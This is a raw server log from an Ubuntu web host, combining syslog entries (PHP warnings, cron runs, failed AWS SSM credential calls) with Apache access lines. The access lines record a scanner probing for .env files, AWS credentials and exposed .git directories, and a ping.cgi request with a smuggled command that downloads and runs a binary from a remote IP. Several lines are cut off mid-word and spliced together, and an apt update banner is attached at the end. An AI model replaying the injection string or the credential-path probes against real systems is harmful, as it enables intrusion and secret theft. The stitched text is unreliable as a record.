unregister_driver), /usr/lib/php/20190902/pdo_sqlsrv.so.so (/usr/lib/php/20190902/pdo_sqlsrv.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Apr 11 00:39:19 ip-172-31-29-215 sessionclean[1982575]: PHP Warning:  Module 'gettext' already loaded in Unknown on line 0
Apr 11 00:39:19 ip-172-31-29-215 sessionclean[1982575]: PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
Apr 11 00:39:19 ip-172-31-29-215 sessionclean[1982575]: PHP Warning:  Module 'sqlsrv' already loaded in Unknown on line 0
Apr 11 00:39:20 ip-172-31-29-215 systemd[1]: phpsessionclean.service: Succeeded.
Apr 11 00:39:20 ip-172-31-29-215 systemd[1]: Finished Clean php session files.
Apr 11 00:40:01 ip-172-31-29-215 CRON[1982614]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp)
Apr 11 00:58:56 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1933401]: 2026-04-11 00:58:56.2152 WARN EC2RoleProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found
Apr 11 00:58:56 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1933401]: 2026-04-11 00:58:56.2405 ERROR EC2RoleProvider Failed to connect to Systems Manager with SSM role credentials. error calling RequestManagedInstanceRoleToken: AccessDeniedException: Systems Manager's instance management role is not configured for account: 227937466084
Apr 11 00:58:56 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1933401]: #011status code: 400, request id: 2e085a39-b81d-41b2-95ce-b843aabbecec
Apr 11 01:00:01 ip-172-31-29-215 CRON[1982674]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp)
Apr 11 01:09:01 ip-172-31-29-215 CRON[1982713]: (root) CMD (  [ -x /usr/lib/php/sessionclean ] && if [ ! -d /run/systemd/system ]; then /usr/lib/php/sessionclean; fi)
Apr 11 01:09:19 ip-172-31-29-215 systemd[1]: Starting Clean php session files...
Apr 11 01:09:19 ip-172-31-29-215 sessionclean[1982726]: Cannot load Xdebug - it was already loaded
Apr 11 01:09:19 ip-172-31-29-215 sessionclean[1982726]: PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_sqlsrv.so' (tried: /usr/lib/php/20190902/pdo_sqlsrv.so (/usr/lib/php/20190902/pdo_sqlsrv.so: undefined symbol: php_pdo_unregister_driver), /usr/lib/php/20190902/pdo_sqlsrv.so.so (/usr/lib/php/20190902/pdo_sqlsrv.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Apr 11 01:09:19 ip-172-31-29-215 sessionclean[1982726]: PHP Warning:  Module 'gettext' already loaded in Unknown on line 0
Apr 11 01:09:19 ip-172-31-29-215 sessionclean[1982726]: PHP Warning:  Module 'mbstring' already loaded in Unknown on line 0
Apr 11 01:09:19 ip-172-31-29-215 sessionclean[1982726]: PHP Warning:  Module 'sqlsrv' already loaded in Unknown on line 0
Apr 11 01:09:20 ip-172-31-29-215 systemd[1]: phpsessionclean.service: Succeeded.
Apr 11 01:09:20 ip-172-31-29-215 systemd[1]: Finished Clean php session files.
Apr 11 01:17:01 ip-172-31-29-215 CRON[1982781]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Apr 11 01:20:01 ip-172-31-29-215 CRON[1982792]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp)
Apr 11 01:25:37 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1933401]: 2026-04-11 01:25:37.3344 WARN EC2RoleProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found
Apr 11 01:25:37 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1933401]: 2026-04-11 01:25:37.3577 ERROR EC2RoleProvider Failed to connect to Systems Manager with SSM role credentials. error calling RequestManagedInstanceRoleToken: AccessDeniedExcepecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:12:50 -0600] "GET /config.env HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:12:52 -0600] "GET /debug.env HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:12:54 -0600] "GET /aws.env HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:12:57 -0600] "GET /firebase.env HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:00 -0600] "GET /sendgrid.env HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:02 -0600] "GET /.github/workflows/secrets.env HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:06 -0600] "GET /.streamlit/secrets.toml HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:08 -0600] "GET /.aws/credentials HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:10 -0600] "GET /.aws/config.bak HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:12 -0600] "GET /.aws/secrets HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:14 -0600] "GET /.aws/sns.env HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:17 -0600] "GET /aws/credentials.bak HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:19 -0600] "GET /opt/aws/sns.env HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:21 -0600] "GET /private/aws_secrets.json HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:23 -0600] "GET /aws/konfig/aws_auth.php HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:26 -0600] "GET /appsettings.json HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:30 -0600] "GET /config.json HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:32 -0600] "GET /secrets.json HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:37 -0600] "GET /config/services.php HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:13:39 -0600] "GET /config/mail.php HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36afari/537.36"
88.151.32.22 - - [11/Apr/2026:03:15:38 -0600] "HEAD /www.zip HTTP/1.1" 404 3968 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:15:39 -0600] "HEAD /www.tar.gz HTTP/1.1" 404 3968 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:15:41 -0600] "HEAD /www.tar HTTP/1.1" 404 3968 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:15:44 -0600] "HEAD /www.rar HTTP/1.1" 404 3968 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:15:47 -0600] "HEAD /web.config.zip HTTP/1.1" 404 3968 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:15:52 -0600] "HEAD /web.config.tar.gz HTTP/1.1" 404 3968 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:15:56 -0600] "HEAD /wp-config.php.bak HTTP/1.1" 404 3968 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:15:58 -0600] "GET /.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:02 -0600] "GET /admin/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:06 -0600] "GET /api/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:10 -0600] "GET /app/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:14 -0600] "GET /backup/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:17 -0600] "GET /backend/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:21 -0600] "GET /cms/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:24 -0600] "GET /code/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:26 -0600] "GET /config/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:29 -0600] "GET /core/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:31 -0600] "GET /data/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:34 -0600] "GET /dev/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:36 -0600] "GET /files/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:38 -0600] "GET /media/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:39 -0600] "GET /project/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:43 -0600] "GET /public/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:46 -0600] "GET /server/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:48 -0600] "GET /src/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:52 -0600] "GET /static/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:55 -0600] "GET /www/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:16:58 -0600] "GET /var/www/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
88.151.32.22 - - [11/Apr/2026:03:17:01 -0600] "GET /var/www/site/.git/HEAD HTTP/1.1" 404 4266 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
110.249.202.214 - - [11/Apr/2026:03:20:37 -0600] "GET / HTTP/1.1" 200 7293 "-" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)"
110.249.202.214 - - [11/Apr/2026:03:20:37 -0600] "GET /icons/ubuntu-logo.png HTTP/1.1" 206 852 "https://aptuslegal.app/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)"
172.225.130.7 - - [11/Apr/2026:03:40:50 -0600] "GET /imagenesAptusLegal/arochi/LogosArochi/MAR-127424.png HTTP/1.1" 200 86989 "-" "Mozilla/5.0"
136.143.177.60 - - [11/Apr/2026:03:41:41 -0600] "GET /PCI-test/fetch_trademark_csv.php HTTP/1.1" 200 4030 "-" "Apache-HttpClient/4.5.13 (Java/17.0.18)"
136.143.177.62 - - [11/Apr/2026:03:47:54 -0600] "GET /PCI-test/trademarks.csv HTTP/1.1" 200 37446604 "-" "Zoho_Analytics"
59.182.169.6 - - [11/Apr/2026:03:50:59 -0600] "POST /xmlrpc.php HTTP/1.1" 404 3767 "-" "Jetpack/12.5; WordPress/6.3; http://site26532163.com"
173.239.218.63 - - [11/Apr/2026:04:10:04 -0600] "GET /wp-includes/css/buttons.css HTTP/1.1" 404 437 "-" "Go-http-client/1.1"
82.23.235.101 - - [11/Apr/2026:04:14:39 -0600] "GET /.env HTTP/1.1" 404 454 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
82.23.235.101 - - [11/Apr/2026:04:14:40 -0600] "POST / HTTP/1.1" 200 3440 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.140 Safari/537.36"
205.210.31.22 - - [11/Apr/2026:04:15:02 -0600] "GET / HTTP/1.1" 200 11173 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity"
136.143.177.43 - - [11/Apr/2026:04:37:35 -0600] "GET /PCI-test/trademarks.csv HTTP/1.1" 200 37446604 "-" "Zoho_Analytics"
136.143.176.43 - - [11/Apr/2026:04:47:59 -0600] "GET /PCI-test/trademarks.csv HTTP/1.1" 200 37446604 "-" "Zoho_Analytics"
186.106.171.207 - - [11/Apr/2026:05:02:08 -0600] "GET /ping.cgi?pingIpAddress=google.fr;wget%20http://37.48.254.120/arm7%20-O%20/tmp/arm7;chmod%20777%20/tmp/arm7;/tmp/arm7%27/&sessionKey=1039 HTTP/1.1" 400
92 updates can be applied immediately.
To see these additional updates run: apt list --upgradable